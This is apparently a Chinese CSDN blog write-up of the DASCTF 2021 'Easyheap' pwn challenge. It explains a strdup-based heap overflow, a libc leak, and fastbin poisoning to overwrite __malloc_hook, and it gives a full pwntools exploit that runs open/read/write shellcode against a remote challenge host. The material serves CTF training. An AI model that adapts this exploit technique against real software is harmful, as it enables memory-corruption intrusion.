2021DASCTF实战精英夏令营暨DASCTF July X CBCTF Easyheap

本文详细分析了一个存在堆溢出漏洞的程序,通过申请和释放内存,利用Fastbin Poisoning策略篡改内存结构,最终实现对__malloc_hook的控制,从而执行自定义shellcode,获取程序控制权。该过程涉及到了内存管理、指针篡改和系统调用等关键知识点。
摘要由CSDN通过智能技术生成

在这里插入图片描述保护是全开。

在这里插入图片描述开了一块空间,这块空间权限都有。

但是下面开了沙箱,ban了execve。

add
在这里插入图片描述
正常申请空间,写大小。
但是有个问题,我们输入要申请的空间大小之后,使用了一个strdup函数。
这个函数会根据你的字符串自动申请空间,那么就意味着我可以写0x500的大小,但是只输了一个字节。
就会造成溢出。

delete
在这里插入图片描述清空了。

show
在这里插入图片描述正常输出。

edit
在这里插入图片描述编写。

所以我们整个看下来,存在的问题就是有堆溢出。

那么我们利用这个溢出,首先申请释放一个大的chunk,挂进unsortedbin。
然后通过溢出,将上一个chunk内容一直写到这个chunk的fd前面,然后输出的时候就可以把地址带出来。

然后我们攻击,我们通过fastbin posioning,攻击fd,先申请到0x23330000,将shellcode写进去,再攻击malloc_hook,把0x23330000写道malloc_hook就可以了。

exp

from pwn import*

context.log_level = "debug"
context.arch = "amd64"
r = remote("node4.buuoj.cn", "28994")
#r = process("./Easyheap")
libc = ELF("./64/libc-2.27.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(size, content):
    r.sendlineafter(">> :\n", "1")
    r.sendlineafter("Size: \n", str(size))
    r.sendlineafter("Content: \n", content)

def delete(index):
    r.sendlineafter(">> :\n", "2")
    r.sendlineafter("Index:\n", str(index))
    
def show(index):
    r.sendlineafter(">> :\n", "3")
    r.sendlineafter("Index:\n", str(index))

def edit(index, content):
    r.sendlineafter(">> :\n", "4")
    r.sendlineafter("Index:\n", str(index))
    r.sendafter("Content:\n", content)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3,0x23330500,100)
shellcode += shellcraft.write(1,0x23330500,100)
shellcode = asm(shellcode)


add(0x500, "a" * 0x200)
add(0x500, "a" * 0x200)
add(0x500, "a" * 0x20)
add(0x500, "a" * 0x20)
add(0x500, "a" * 0x20)
#0-4

add(0x500, "a" * 0x500) #5
add(0x500, "a" * 20) #6
delete(5)

#gdb.attach(r)

edit(4, "a" * 0x30)
show(4)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)


delete(1)
edit(0, "a" * 0x200 + p64(0) + p64(0x211) + p64(0x23330000))
add(0x500, "a" * 0x200) #1
add(0x500, shellcode.ljust(0x200, "\x90")) #7

delete(3)
edit(2, "a" * 0x20 + p64(0) + p64(0x31) + p64(malloc_hook))
add(0x500, "a" * 0x20) #1



add(0x500, "a" * 0x20) #7

edit(7, p64(0x23330000))
#gdb.attach(r)
add(0x500, "success!")

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值